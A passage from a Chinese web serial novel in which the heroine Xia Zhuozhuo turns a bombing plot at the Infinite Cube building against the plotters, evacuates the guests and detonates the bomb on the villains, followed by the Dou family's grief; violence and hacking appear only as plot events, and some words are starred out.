“虚报名字,是我不对,但是你也知道,我窦家情况特殊,出门在外,我有个化名也正常。您别生气,我向您赔礼道歉了。” 他说着,还想从夏灼灼嘴里套话,想知道她到底知道多少信息,却被夏灼灼抬手直接打断。 “你误会了,想让你死在明天的人,不是我,而是你哥。” 窦斯礼错愕一愣,随即慢慢皱眉。 “夏小姐这是什么意思?我大哥已经死了。” “你大哥死了,可你大哥的手下没死。” 又道:“窦二少,你帮过我一次,所以,我也想帮你一次,算是还清人情。” 窦斯礼的眉头夹得更紧了。 他想直接离开,夏灼灼给他一种他会掉进陷阱的感觉。 这个女人,美则美矣。 可越漂亮的东西,往往越危险。 霍刚在这时走过来说:“礼哥,我跟夏小姐也是朋友,今天是偶然碰到她,邀请她进来坐会儿的。她不是什么坏人,既然她这么说了,您不如听听她要说什么。” 窦斯礼想着,反正听一耳朵也不会掉块肉。 便再次看向夏灼灼道:“夏小姐有话直说吧。” “窦斯齐手下,有个叫闻衢朝的,这人心狠手辣,却对你大哥忠心耿耿。你大哥这些年,很嫉妒你父亲更偏爱你,他对你早有杀心。” “你胡说!”窦斯礼反驳道:“我大哥对我是最好的,我有什么事情,都是他帮我摆平的。” “可你难道没发现,他帮你摆平之后,你爸和你爷爷却还是知道了你干的那些事吗?既然帮你摆平,为什么不帮你遮掩?” “……” 窦斯礼沉默一阵,问:“你提闻衢朝干什么?” 夏灼灼道:“我说了,这人对你大哥忠心耿耿。你大哥对你早有杀心,你觉得,闻衢朝会不会帮你大哥完成他的遗愿?” “你是说,闻衢朝想杀我?” “没错!地点就在无限立方,而时间,就在明天。那栋无限立方,是你大哥投资的,你却打电话来跟我说是你投资的。所以我就猜到,闻衢朝应该是想借着无限立方,引诱你入陷阱。” “你乱说,明天的计划明明是为了对付……” 话说到一半,窦斯礼自觉说漏了嘴,连忙咬住下唇。 夏灼灼笑道:“对付我?闻衢朝跟我无冤无仇,你大哥也跟我无冤无仇,他为什么要对付我?看来,他是打算拿我做诱饵,引你上钩呀!” 窦斯礼越想夏灼灼说的这些话,越是后背发凉。 尤其是那句“你大哥对你早有杀心”。 他是个很怕死的人。 而且细想之下,他大哥跟夏灼灼,似乎的确没有任何的仇怨。 闻衢朝为何要在大哥死了之后,仍然要帮他拿下夏灼灼? 他的突然接近,的确反常。 窦斯礼惊出了一身冷汗。 可他仍旧有点不信任夏灼灼。 夏灼灼也看出来,她说:“你现在偷溜进无限立方,就能在三楼计算机房,看到一堆炸药。那是用来炸你的。” “炸药?” 夏灼灼拿出手机,打开了相册。 里面是一段视频。 窦斯礼一眼认出,那的确是无限立方的计算机房。 他更加汗流浃背。 闻衢朝告诉他的计划,明明是放火。 怎么变成了放炸弹? 放火他能跑,放炸药……他也会死在那里! 所有人都会死在那里! “那、那我怎么办?明天我不去了!” 夏灼灼摇摇头:“不去怎么行?他这次没成功,下次还要杀你。你防不胜防,不如趁着这次机会,杀了他。” “我该怎么做?” 夏灼灼朝他勾了勾手指,示意他靠近。 窦斯礼连忙凑过去。 夏灼灼说了一番她的计划。 窦斯礼吓得六神无主,自然夏灼灼说什么是什么。 “我都按照你说的做!你的大恩大德,我没齿难忘!” “我用不着你的没齿难忘,事成之后,你给我一笔钱就是了。我们夏家破产,现在最缺的就是钱,你可有钱?” “有!当然有!” 夏灼灼有所图,窦斯礼更加放心。 他在包厢里跟夏灼灼聊了很久明天的事,很晚才回到住的地方。 夏灼灼也开车回去了。 傍晚时她故意在跟窦斯礼打电话的时候说那番话,是说给闻衢朝听的,为了打消他的疑虑。 而闻衢朝显然也不把窦斯礼放在眼里,加上霍刚一直跟窦斯礼走得很近,所以夏灼灼才有机会私下接触窦斯礼,而不被闻衢朝察觉。 计划比她预想中的顺利,只等明天。 第251章 入局 这一天,夏灼灼很早就睡下了。 因为明天会有点辛苦。 睡得早,自然就睡得好,第二天起来,夏灼灼精神抖擞,还绕着庄园跑了两圈,这才去洗澡换衣服。 下楼就看到,司慎行穿着一袭黑色西装,正在那里跟秋雨聊天。 “想不到,你竟然是秋老爷子的孙女。” 秋雨说:“我也没想到,您竟然认识我爷爷。” “秋老爷子的厨艺天下无双,人人都以尝过他的手艺为荣。” 秋雨很高兴。 她跟爷爷关系好,自然喜欢听别人夸他。 说到这,他们注意到夏灼灼下楼了。 夏灼灼问司慎行怎么来这么早。 他们十点左右才要出发,现在不过早上七点半。 司慎行道:“有个客户,是个老饕,昨天带我去了一家很好吃的早餐铺,我想着带你去尝一尝。” 夏灼灼点头:“好。” 她让秋雨跟夏太太说一声,自己要下午才回来,便跟司慎行出门了。 十二月了,早晨的气温低至六度。 夏灼灼一开始还觉得有点冷,直到在早餐铺坐下,感受蒸笼腾起的热气,浑身就开始暖和起来。 这是一家很小的早餐铺,看起来日子有点久远了,餐桌上都有明显的时光痕迹。 但麻雀虽小五脏俱全,其他早餐铺没有的,这里都有。 现在正是早高的时候,早餐铺人很多,不过都是买了就走的,没几个留下来坐着吃。 沪城的生活节奏还是挺快的。 老板娘认得司慎行,看到他旁边的夏灼灼时,笑着说:“你果然没食言。” 司慎行笑了笑:“当然要说到做到。” 老板娘放下两碗豆浆,又去拿别的了。 夏灼灼疑惑地问:“老板娘说你没食言,这是什么意思?” 司慎行道:“昨天我说这里的早点好吃,明天带我老婆过来。” “……”夏灼灼的脸微红。 不过她已经有点习惯了,因而虽然脸红,但表情不变。 很快其他东西也上来了。 夏灼灼先尝了包子。 的确好吃,一口咬下去,汁水差点淌到夏灼灼的手上。 又吃了这里的油条。 油条是现炸的,颇有小时候的味道。 “很好吃。”夏灼灼说。 司慎行道:“我打算我们结婚以后,雇老板娘来家里给你做早饭,她会做很多早点。” “……人家生意这么好,你不担心人家不愿意?” “不会。我有钱。” “……” 是她唐突了。 吃完早饭,两人去了暗部。 司慎行没去地下,但他的到来,仍然让暗部的人都狠狠吃了一惊。 谷仔安抚他们,说司慎行是自己人。 饶是如此,还是有很多人有些不安。 这里不进外人。 对他们来说,司慎行就是这个外人。 司慎行感觉到大家的紧张,问夏灼灼:“要不拿了东西,去别的地方?” “不用。”夏灼灼道:“臭媳妇早晚要见公婆。” 她这么做,也是为了表明自己的态度。 她的态度就是:她已经把司慎行当成了自己人。 至于其他人,也该慢慢习惯。 司慎行心里妥帖无比。 他甚至想着,要不要把别的资产也都给夏灼灼。 除了信托,他还有很多资产。 不过他怕这么大的动作,会引起一些不必要的麻烦,所以暂时把这个想法压下去了。 对他来说,这些都是身外之物,夏灼灼才是他最宝贵的珍宝。 很快,人皮面具弄好了。 夏灼灼上上下下看他,忍不住叹了一口气。 “怎么了?”司慎行问她:“有什么问题吗?” 夏灼灼如实说:“你气场太强,给你弄了张普通的脸,还是不像我的保镖。” “……那怎么办?要不我在脸上点点麻子?” 夏灼灼想了想,说:“把西装换了,你这套太板正。” 她说着,叫谷仔借一套老旧的西装给司慎行穿上。 又让司慎行走路的时候稍微弯着点背,这样人佝偻一些,才能勉强让他看起来像个普通人。 准备完毕已经是九点半了。 司慎行这个保镖负责开车。 谷仔他们提前出发了。 不过他们去的不是无限立方,而是去机场,帮夏灼灼接一个人,再出发去无限立方。 夏灼灼和司慎行很快到了无限立方大楼。 这栋楼的主体像一个歪倒的立方体,每一层楼都不对齐,远远看去像个魔方。 现场来了不少人。 夏灼灼一眼看到人群里站着的温暖,也就是冯太太。 她急忙走过去,眉心微蹙,问:“您怎么来了?” “我收到了请柬。” 夏灼灼直觉不对。 冯太太怎么也被邀请过来了? 难道闻衢朝要对付的,不仅是她和窦斯礼? 夏灼灼忙“吩咐”司慎行去看今天都来了哪些客人。 很快司慎行查到了名单,低声对她说:“很多党系的和中立派的人都在。” 夏灼灼心中一惊。 闻衢朝真可谓是忠心耿耿,哪怕窦斯齐已经死了,还在为他继续做事。 夏灼灼再次来到冯太太身边,低声说:“你找个借口,立刻离开这里。” 冯太太吃了一惊,问:“发生什么事了?” “现在还没事,一会儿就会有事。” “我现在去找安安。” 夏灼灼瞪大眼睛:“安安也来了?” “嗯,他不知道跑哪里去玩了。” “快去找。找到他后,立刻离开。” 冯太太吓得鸡皮疙瘩都起来了。 她很少看到夏灼灼这么严肃的表情。 应了声“好”后,冯太太立刻找冯淮安去了。 夏灼灼也去另一边找。 找了一圈却都没找到人。 司慎行带过来消息。 “有人看到他上楼了,我去楼上找他,你在下面等着。” 司慎行化名“阿深”,面容普通,脊背故意佝偻着,显得有点驼背,看起来很平凡,不容易引人注意。 夏灼灼点头:“好,一定要尽快找到他。” “交给我办。” 司慎行悄声上楼去了。 司慎行离开后没多久,窦斯礼来找夏灼灼了。 他看似在跟夏灼灼寒暄,其实是紧张地问她:“什么时候动手?” “不急,我得先找到一个人。” 窦斯礼蹙眉。 “都什么时候了?还找什么人?炸弹一旦引爆,我们所有人都得死!” 夏灼灼道:“放心,他自己还在里面。” 夏灼灼的余光,看到闻衢朝也还在大厅。 “可要是他得了失心疯,想跟我们同归于尽呢?” “不会。” “你怎么这么笃定?” “因为他还有别的事情要做,他现在还不会死。” “什么事情?” “你别问了,说了你也听不懂。” “你——”窦斯礼心里一股无名火。 这女人,说话很是不中听! 也可能是他因为怕死,对夏灼灼没了旖旎之心,就不觉得她美丽动人了。 他现在只想尽快解决掉闻衢朝,好让他能继续过他的潇洒日子。 他不觉得杀几个人有什么,只嫌夏灼灼动作太慢。 还找什么人? 有什么可找的? 这里满屋子的人,都不如他一个人的性命重要。 要不是听进去了夏灼灼说的话,知道斩草不除根,春风吹又生…… 知道这里有炸药,他今天根本不会过来。 “配合一点吧,窦二少,我们现在是一根弦上的蚂蚱。我要是你,现在就该按照我昨天说的,去找姓闻的,做你该做的事。” 窦斯礼眼睛一亮,是这个道理。 他立刻去了。 夏灼灼看了眼窦斯礼的背影,眼底有凌厉的光一闪而逝。 闻衢朝那边,正在默默等着所有宾客入席。 他用窦斯礼的名义,请来了不少人。 但窦系的人,他一个都没请。 他要替大少爷将这些人一网打尽。 至于以后窦家的以后,他也有办法。 大少爷在旁支有个很喜欢的小侄子,他会推举那个小侄子上位。 闻衢朝的如意算盘,打得很好。 窦斯礼在这时候走过来,东扯西扯,非得拉闻衢朝说话。 闻衢朝不厌其烦,眼中的厌恶几乎掩饰不住。 窦斯礼之前不怎么注意这人的表情,因为他根本不把这种大哥的走狗放在眼里。 现在经过夏灼灼提醒,才发现,闻衢朝看他的眼神,简直像是在看一个死人。 如果在这之前,他对夏灼灼的话还是七分信,三分疑的话,那么他现在对夏灼灼已经是深信不疑了。 “我们的计划,什么时候开始?” “人到齐了再说。” “我有点按捺不住了,夏灼灼长得实在是好看。” 窦斯礼其实不太擅长演戏,不过因为闻衢朝根本不把窦斯礼看在眼里,甚至不把他当成是个人,所以他压根懒得仔细分辨窦斯礼眸底的神色。 “二少爷,小不忍则乱大谋。等客人们都到了,上各层楼参观的时候,才是您动手的时机。”闻衢朝耐着性子说。 他正要走,窦斯礼又拉住他。 “你说个具体时间。” “客人什么时候到齐,我也不知道,一个小时内总该全都到齐了。” “一个小时?太久了,你帮我催一催。” “……”闻衢朝不胜其烦。 却又不能把不耐烦表现得太明显,只好耐着性子宽慰他。 窦斯礼那边拖住了闻衢朝,夏灼灼趁机去了一趟洗手间。 洗手间门口有个清洁工,看到她,轻轻一点头,放下一个“维修中”的牌子,到前面帮她盯着去了。 夏灼灼便迈步走了进去,来到最里头一个隔间,敲了三下隔间的门。 第252章 快把他杀了 隔间的门很快打开。 里头站着的人面容丰神俊逸,只是头发有些凌乱,身上还穿着一件清洁工的衣服,整个人略显狼狈。 “大哥。”夏灼灼很不好意思地说:“我真是不应该,让你从京都赶过来就算了,还让你呆在这儿……” 夏怀征毫不在意。 “大哥这条命,半条都是你给的,一家人,不说这些客气的话。地方在哪里?现在就过去吗?” 夏灼灼说:“先安排你到那个房间隔壁,等时机到了再过去。” “好。”夏怀征点头,跟着夏灼灼往外走。 那名清洁工在这时候走过来。 夏灼灼介绍说:“是阿行的人,我让他领你去。他比我更熟悉这里。” 这名“清洁工”,就是司慎行一个月前就安插进来的两个人中的第一个。 他已经熟悉这里的一草一木,甚至哪堵墙上有脏污都知道。 夏怀征应声,跟那名清洁工走了。 夏灼灼自己撤走了卫生间门口“维修中”的牌子,然后整理了一下衣服,回到了大堂。 宾客比刚才来的更多了。 夏灼灼注意到,有个侍应生,慢吞吞往自动大门那边走。 他走几步就打量周围,很谨慎的样子。 夏灼灼知道闻衢朝打算开始他的计划了,立刻找到冯太太,对她说:“你先走,我会把安安平安带出来。” 冯太太眼眶微红。 “我、我不放心……” 虽然她不知道具体会发生什么,可是她知道,夏灼灼那么着急让她走,这里一定是有很大的危险。 她要带冯淮安一起走。 夏灼灼语速很快地劝她:“听我的,冯太太,我向你发誓,安安不会有危险。但是你还不走,我到时候可能不一定能同时顾上你们两个人。” 冯太太咬了咬唇,还是按照夏灼灼说的,往大门口走去。 有人拦住她。 “这位太太,剪彩马上开始了,您要去哪儿?” “我儿子偷跑出去了,我去找他。” 她脸色很着急。 那人犹豫了下,还是放冯太太走了。 计划才刚开始,不能因为这么一个人,乱了大局。 冯太太顺利离开。 夏灼灼稍稍松了一口气,却不敢完全放心。 冯淮安还没找到。 夏灼灼用手机给司慎行发了条消息,却发现,这里没有信号。 她微微蹙眉,知道这是闻衢朝搞的鬼。 很快也有人发现这里没信号。 闻衢朝走出来,说是无限立方里有些设备暂时是保密的,所以放了信号阻碍器,等参观完,确认大家没有拍照,才会关闭信号阻碍器。 在场的人立刻都不悦起来。 可窦斯礼在场,他们看在窦家的面子上,还是把不悦压了下来。 “时间到了,那咱们先进行剪彩吧。”闻衢朝说。 他也没问窦斯礼的意思,直接叫人拿剪彩的东西来。 窦斯礼气得死死攥紧拳头。 这么一个东西,他竟然差点入了他的圈套! 可现在他只能先忍着不爽。 很快剪彩完毕,闻衢朝领着人,从二楼开始参观。 这里每个房间都有独特的高科技设计,不少人见了,心情都舒缓不少。 “这设备的确不错,什么时候上市?我在家里整一套。” “设计师是谁?” “这一套AI家居叫什么?” 闻衢朝一一解答。 很快到了三楼。 这一层楼,闻衢朝没有带他们每个房间都参观一下,而是直接带到了最大的一个房间。 大房间里放了许多“管家机器人”,每一个功能都不太一样。 却在这时候,有个侍应生路过夏灼灼,脚下突然一滑,手里的红酒泼了夏灼灼一身。 夏灼灼拧眉,那侍应生连忙道歉。 “对不起,小姐,我不是故意的,我带您去换一身吧?” “不用。”夏灼灼说:“我没有带备用的衣服。” 就在这时,有个小姐说:“我带了,可以借给你。” 说话的人,长相普通,虽然穿着昂贵的衣服,却依旧没有什么名门小姐的气质,而且夏灼灼注意到,她的手很粗糙。 是闻衢朝安排的人无疑了。 夏灼灼欣然点头:“那就麻烦您,暂时借我衣服穿了。” “客气,一件衣服而已。” 两人在这里工作人员的带领下,去到了二楼一个套房。 “您先留在这里,我叫人去拿我车上的衣服过来。” “好。” 女人微微一笑,刚一转身,后颈突然被一记手刀劈下。 她立刻没了知觉。 而另一边,闻衢朝趁着大家研究管家机器人,快步来到窦斯礼身边。 “人在206房间,你去吧。” 窦斯礼露出夸张的贪婪表情。 “我去了!这里交给你了!” 说完,他急哄哄下楼去了。 闻衢朝望着窦斯礼的背影冷笑。 只要窦斯礼一进房,那间房间就会被锁上。 然后他趁机带着心腹们离开,随即整栋大楼都会被锁上。 之后大楼爆炸,这些人,无人能生还。 大少爷当初入股这栋楼的时候,用的就是二少爷的名号,就算警方查,也只能查到二少爷。 而二少爷一个已经被炸死的人,是无法为自己辩解的。 这件事,会波及到一点窦部长。 但是没关系,死了这么多党系和中立派的人,窦部长自有能力周旋。 就等楼下的手下报信来,说窦斯礼和夏灼灼已经被锁在里面,他就可以安心离开了。 然而左等右等,宾客们都开始问什么时候上四楼参观高科技影厅了,带夏灼灼去换衣服的那个女手下却始终没有露面。 这是什么情况? 越来越多的人问什么时候去四楼参观——参观结束,他们也好跟窦斯礼道别离开。 没有信号的地方,他们觉得有些无聊了。 闻衢朝焦躁极了。 四楼的影厅,其实还没有完全装好。 由于窦斯齐的死,大楼的计划提前了。 不过,勉强也可以参观。 他叫了人,带大家去四楼,自己则是找到另一个心腹。 “陈芸呢?怎么还没上来?” 陈芸就是主动提出借夏灼灼衣服穿的女人。 她故意做宾客打扮,其实是闻衢朝的手下。 她的任务就是把夏灼灼骗到二楼房间,然后等窦斯礼也进去之后,把门锁上。 房门是特制的隔音门,很厚重,夏灼灼和窦斯礼喊破喉咙也出不来。 但问题就在于,窦斯礼早就已经下楼了,可陈芸却迟迟没上楼来。 他心里非常不安。 只听手下说:“我也不知道,我一直在楼梯口等着陈芸姐上来,好向您汇报。” 又说:“我现在下楼去看看。” “别。”闻衢朝说:“我亲自下去!你去四楼,盯着这些客人,别叫他们节外生枝,提前喊着要走。” 他们必须在宾客走之前,先离开这里,然后再启动炸药。 否则他们自己人也会被误伤。 闻衢朝还是很爱惜自己的手下的。 大少爷死了,他没那个能力培养新的心腹了,这些人都是他达成最终目标的助力。 而且,手下去看,他也不太放心。 他觉得中间环节可能出了某些问题,手下可能解决不了。 很快,闻衢朝便下楼去了。 来到206房间,他发现房门竟然是半掩着的,并没有关紧。 他眉头一皱,从怀里掏出一把锋利的匕首,慢慢靠近那扇门。 里面毫无动静,不像是有人。 他疑惑推开房门,却在这时,有一道高大的身影动作飞速一脚将他踹了进去。 闻衢朝摔了个狗吃屎,手里的匕首也飞了出去。 然而不等他从地上爬起来,门口突然出来一道纤瘦的身影,她手拿银针,刺入了闻衢朝的后颈。 他立刻全身瘫软,手脚无力,视线也一点一点变得模糊起来。 只看到一双小脚走到他脑袋边,拽着他的后衣领,将他的脑袋提溜了起来。 “你对窦斯齐倒是忠心耿耿,他都死了,你还为他办事。” 闻衢朝看清了夏灼灼的脸。 他想大喊,可他连舌头都没有力气。 下一秒,只听一道熟悉的声音响起。 “快!快把他杀了!” 闻衢朝怒目圆瞪,看向声音响起的方向。 竟然是窦斯礼! 原来是他背叛了自己! 怪不得夏灼灼平安无事,怪不得陈芸出现了问题。 他千算万算,算漏了窦斯礼。 这个他压根不放在眼里的人,背叛了他! 窦斯礼本该是他一步好棋,现在却成了臭棋,毁了整个棋盘。 他目光咧咧,像是要用眼神杀死人。 可眼神从不能杀死人。 夏灼灼毫不畏惧对上他的目光,嘴角还有一丝轻嘲。 “蠢货,你的主人都不是我的对手,何况是你?” 他的主人? 大少爷? 大少爷竟然是被她害死的?! 闻衢朝睚眦俱裂。 可他什么都做不了,眼前的视线也渐渐变得模糊。 很快,他再无知觉。 “他死了吗?”窦斯礼激动地问:“他死了,我以后是不是就安全了?” 夏灼灼站起身,对着窦斯礼微微一笑。 “是啊,你永远安全了。” 窦斯礼看着夏灼灼的笑容,顿时有些心神荡漾起来。 夏灼灼,的确很美。 没了死亡威胁之后,他再次对夏灼灼生出了旖旎之心。 他看夏灼灼的眼神,也重新变得贪婪热烈起来。 然而不等他说话,后颈突然一痛。 第253章 得妻如此 刚才踹闻衢朝进来的高大男人,此刻用一记手刀劈晕了他。 窦斯礼瞪大了眼睛,随即失去了意识,瘫倒在地,正好跟闻衢朝躺在了一起。 男人不是别人,正是易容后的司慎行。 窦斯礼永远都不会知道,他在司慎行面前,对他的未婚妻露出了觊觎的表情。 司慎行面无表情踩过窦斯礼的脚,来到夏灼灼身边。 “安安找到了,我让谷仔把人带出去了。” 夏灼灼长松了口气。 “我们可以继续下一步了。” “嗯。” 两人把卫生间里的陈芸拖出来,把三人摆成凌乱的姿势后,快步出了门。 片刻后,大楼突然警报声响起,一楼有火光闪烁。 动静很快吸引了四楼宾客们的注意。 大家争先恐后往下跑。 “别着急,排队下去,火不大,一下子烧不起来。” 有人提醒,又有两个清洁工负责维持秩序,大家便没有继续人挤人了,很快有序往下跑。 闻衢朝的心腹们大惊失色。 “怎么回事?” “怎么会着火?” “闻哥呢?” “没看到人。” “他去二楼了,先别管闻哥了,大门已经锁死,他们逃不出去。” “那我们自己怎么办?” “去机房,我们操控机房,把机房的窗户打开,等闻哥过来,我们就从机房的窗户走,再引爆炸弹。” 四个人兵分两路。 一个去找闻衢朝,另外三个人都往机房去。 闻衢朝的心腹不多,剩下来只有四个。 然而他们刚进机房,一群人突然出现,将三个人控制了起来。 田野和金虎带着人,很快将三个人都制服,硬生生往楼下拖。 而剩下的那一个,被早就埋伏在206的夏灼灼和司慎行打晕。 他们把那人丢进了一间杂物间,随后紧跟着快速下楼。 路上,他们跟夏怀征汇合了。 夏怀征道:“我已经关掉了机房的控制器,所有门窗的锁都打开了。” 夏怀征的用处,正是控制机房的电脑,用黑客技术进行解锁。 夏灼灼虽然也能黑进无限立方的大楼系统,但她还需要处理闻衢朝这边的事,分身乏术,所以她才特意叫了夏怀征,从京都飞过来帮她。 没多时,田野和金虎跟他们在一楼楼梯口处碰到,大家很默契地一起跑了出去。 大楼外,两个清洁工招呼大家跑到更远的地方。 “撤远点,等消防车。免得火势越来越大,伤到你们。” “快!快跑!” 大家都怕死,很快都往更远的地方跑去。 谷仔把冯淮安送回去后,又回到大楼,进行最后的检查。 确认没有无辜的人落下后,他也从里面跑了出来,来到夏灼灼身边。 “大楼里没有其他人了,不会伤害到无辜。” 夏灼灼点头,从怀里掏出了炸弹引爆器。 这个引爆器,是从闻衢朝身上搜出来的。 随着她按下按钮,一声巨大的爆炸声响起。 整栋楼的玻璃都被炸碎,大楼冒出巨大的火光。 所有人都被这巨响吓到,心尖狠狠一颤,面色都变得煞白。 “居然、居然还爆炸了……我以为只是着火。这么大的爆炸,里面是不是有炸药?” “还好我跑出来了,不然我就灰飞烟灭了。” “好好的,怎么会爆炸?这件事一定要查清楚!” “会不会是跟窦二少有关?是他邀请的我们!” “找到窦二少!” 可大家找了一圈,都没有找到窦斯礼。 就在这时,消防车和警车同时赶到。 为首的警员,正是丁警官。 在司慎行和冯昭阳的助力下,他已经连升三级。 夏灼灼对他有知遇之恩,所以当夏灼灼提打电话告诉他,让他亲自出面过来的时候,他毫不犹豫。 大家将警车团团围住。 “警官!这到底是怎么回事?好好的,怎么会爆炸?” “你们得给我们一个交代!稍有不慎,我们所有人都会死在里面!” 丁警官对他们一一进行安抚,又让消防人员给大楼灭火。 夏灼灼在这时,带着机房抓到的三个人,让金虎和田野一起,把三人拽到丁警官的面前。 “警官。”她开口道:“我跑下楼的时候,发现这三个人鬼鬼祟祟的,他们一定有问题,请你们严查。” 丁警官看了脸色灰败的三人一眼,点头道:“我会查清楚。” 他抬了下手,三个人就被带上警车了。 他又对当时在场的人进行了例行询问,很快确定,这场爆炸,跟窦斯礼有关。 因为这些人无一例外,全是窦斯礼邀请来的。 只是却不见窦斯礼本人。 很快火势被扑灭,确认不会有二次爆炸后,消防队员进了无限立方。 不多时,他们向丁警官汇报:“里面发现了四具尸体,都面目全非了,分辨不出身份,需要您这边核实身份。” 丁警官点头。 夏灼灼等人不便在这里多留,很快上了车,跟其他宾客一起打车离开——地下车库里的车,全都烧毁,已经用不了了。 在一个路口的停车场,几人下了车,各自找到提前停在这里的车。 阿麦提前等候在这里。 见大家平安归来,长长舒了一口气。 一切顺利,真是老天保佑! 一群人兵分两路,谷仔他们回暗部,夏灼灼跟司慎行则是前往冯家。 路上,阿麦负责开车,夏灼灼则是替司慎行揭去了人皮面具,露出他原本的容貌。 “怎么样?有没有哪里不舒服?有些人用这个,会过敏。” 司慎行摇头,反手与她十指相扣。 “怎么了?”夏灼灼见他格外沉默,问。 司慎行说了一句文绉绉的话。 “我在想,我何其有幸,得妻如此?” 他早知她跟其女孩子不一样,甚至跟他周围很多男性都不一样。 但这次,是他第一次亲眼看到,夏灼灼是如何行事的。 她临危不乱,杀伐果断。 却又那么善良,不愿意伤到任何无辜的人。 那几个死在里面的,都是死有余辜。 尤其窦斯礼,简直是个畜生。 而对于无辜者,她再三确认他们的安全,方才引爆炸药。 得妻如此,他何其有幸? 夏灼灼脸颊微红。 用眼神提示他:“阿麦还在车上呢。” 说这话,也不怕降低了自己在阿麦心里的威严? 只听阿麦突然开口:“奇怪,我耳朵突然聋了。你们不用管我,适当的时候,我的耳朵就会重新恢复听力了。” 夏灼灼:“……” 她的脸更红了。 很快到了冯家。 冯太太猜到他们会过来,拉着冯淮安,快步迎上前。 “怎么样?” 夏灼灼不着急说话,先确认了冯淮安没有受伤,这才拉着冯太太坐下说话。 她讲明了前因后果。 又说:“我不知道你们也在邀请行列,否则提前一天就告诉你,让你们别去了。” 她想着,这是针对她和窦斯礼的局,闻衢朝不会安排太多的人。 却没想到,闻衢朝完全杀红了眼,连这些人都要算计进来。 如果闻衢朝真的成功了,可想而知,华夏该发生多大的动乱。 冯太太听得心惊胆战。 “灼灼,你的胆子也太大了!” 夏灼灼还以为冯太太说她不该炸死窦斯礼,下一秒就听冯太太说:“这些事这么危险,你叫人去做就行了,何必以身犯险?你要是有点什么闪失,我们这些在乎你的人该怎么办?” 夏灼灼心底一暖。 原来冯太太只是担心她的安危。 她道:“我有了万全的准备才敢出手的。而且我提前知道了他们的大概计划。如果不是确定我能平安脱险,我也不会去冒险的。” 司慎行也在旁边说:“我一直在旁边陪着她,如果有危险,我会带着她立刻离开,所以嫂子你不用担心。” 夏灼灼展开双臂。 “我这不是没事吗?您看看。” 冯太太确认她真的没事,这才点点头。 “以后不可以再冒险了。你没有当妈,不知道我们这些当妈的人。” 冯太太絮絮叨叨,夏灼灼并不觉得她烦,只觉得暖心。 回到夏家认亲后,她得到了太多的爱,弥补了小时候缺失的爱。 她想,她做过的最正确的决定,就是回到夏家了吧? 很快冯昭阳也回来了。 他神色慌乱,当看到冯太太和冯淮安都相安无事,夏灼灼也没有受伤,这才放心。 “我不知道那边会发生这么大的事,否则我就不让他们母子代我去参加剪彩了。” 夏灼灼道,他们也不知道冯太太会去,否则一开始就拦住他们了。 冯昭阳跟冯太太一样,并不怪她。 当然,这是基于冯太太和冯淮安都安全回家的前提。 比起政界的路,冯昭阳更在乎自己的妻儿是否平安。 夏灼灼同样也没瞒着冯淮安,她告诉他,窦斯礼死在了里面。 冯太太适时站起身。 “我去给你们倒茶。” 说话间,把黏在夏灼灼旁边的冯淮安也带走了,让他们安安静静说正事。 夏灼灼更详细地把当时的情况告诉冯昭阳。 冯昭阳听了,眼冒火星。 “窦斯齐人都死了,还能作妖。这次一定要把他们一网打尽。” 夏灼灼点头说:“您放心,窦斯齐留下来的那些心腹,这次死的死,被抓的被抓,没有遗漏。” 冯昭阳应声:“你救了不少人。可惜,他们不知道。” 司慎行道:“或许得让他们知道。总不能白白做这些好事。阳哥,你觉得呢?” 他意味深长看了冯昭阳一眼。 第254章 窦斯礼死讯 冯昭阳听懂了司慎行的意思。 司慎行是让他,通过他的嘴,告诉今天去了无限立方的人,是夏灼灼敏锐,救了他们一命。 “我知道该怎么做了。 他既然已经站在了夏灼灼这边,那么替夏灼灼拉拢人心也是他该做的事。 党系赢了,对他只有好处没有坏处。 而且窦系的人,一个个心狠手辣,他们彻底倒台,他才能平安。 夏灼灼和司慎行没有继续留下来,很快离开了。 …… 身份核实并不难,警方这边不出半天就确认了四人的身份。 其中一个,正是窦斯礼。 而另外死的三个,都是窦斯齐的下属。 窦斯礼的死讯传到京都窦家的耳朵里,已经是当天晚上了。 窦部长大惊,第一反应是不相信。 他叫手下买了机票,亲自来到沪城。 宗域和白季勇负责接待。 白季勇经历丧女之痛,一月之间仿佛苍老了十岁。 那双原本如同鹰眼一般锐利的眼睛,仿佛看不到光了。 他神情恹恹。 宗域却是精神抖索。 他已经知道,夏灼灼当天也在无限立方,心里已然猜到,**案跟夏灼灼有关。 只是一开始他原本以为,**是夏灼灼弄的,仔细查下去,才知道是窦斯齐的手笔。 他如实跟窦部长说,是他的长子安排的这一切。 “他想要对付自己的弟弟,只是没想到死在了新春酒店。 “但他的心腹很忠心,继续为他实行**案。 “只是出了点细微差池,他自己也死在了里面。 “窦斯齐还活着的那些手下,全都已经交代了。 宗域有意忽略夏灼灼也参与其中的事。 窦部长身子颤抖起来。 也不知道是因为得知是自己长子害**次子,还是因为痛失了次子而伤心。 他亲自去看了窦斯齐的手下。 他们当着窦部长的面,把一切都交代清楚了。 又说,他们只是帮凶,让窦部长网开一面,看在他们是窦斯齐手下的份上,救救他们。 窦部长当然不会救他们。 这些人,害**他最疼爱的儿子。 也就是他的长子已经**,如果没死,他势必要为自己的小儿子讨个公道。 从看守所出来,窦部长仿佛也老了很多岁。 走路的时候,甚至摇摇欲坠。 白季勇知道,窦部长深受打击。 而且,也会被连带。 毕竟当天被邀请的,太多是政界的人物。 他们差点死在里面,绝不会放过窦家人的。 哪怕窦斯礼自己也死在了里面。 但白季勇管不上那么多了,他唯一的血脉白知芙**,亲他现在整天浑浑噩噩。 以后的日子如何,他都顾不上了。 他像是一具行尸走肉。 隔天,白季勇就请辞了。 听闻这个消息,窦部长并没有多大的反应,他只是抱着窦斯礼的骨灰发呆。 还是窦老先生亲自从京都赶过来,把窦部长以及窦斯礼的骨灰接了回去。 窦家,一片萧条之色。 “我早就让他回来,他非要留在沪城…… “我怎么都没想到,他竟然会死在自己哥哥的手底下。 “窦斯齐已经**,他已经**啊!**的人,竟然还害**我的儿子! 窦部长像是在对窦老爷子说,又像是在自言自语。 窦老爷子皱起眉,提醒他:“斯齐也是你的儿子。 “他不是! 窦部长突然站起来,说:“虎毒还不食子!他是小礼的亲哥哥,他怎么能下这种狠手?我没有这样心狠手辣的儿子! 窦老先生深深叹了口气。 “我早告诉你,对两个儿子,你要一碗水端平。 “尤其是对斯齐,你太偏心了! “哪怕你对他稍微多说几句软和话,他何至于非得杀了小礼? “我知道你因为他亲妈不喜欢他,可那到底是你自己的亲儿子。 窦部长面无表情看向窦老先生。 “难道这是我的错吗?当初,是你非要逼我娶那个女人的。现在好了,小礼被他害**。不对,他是被你害死的! 窦部长太愤怒了。 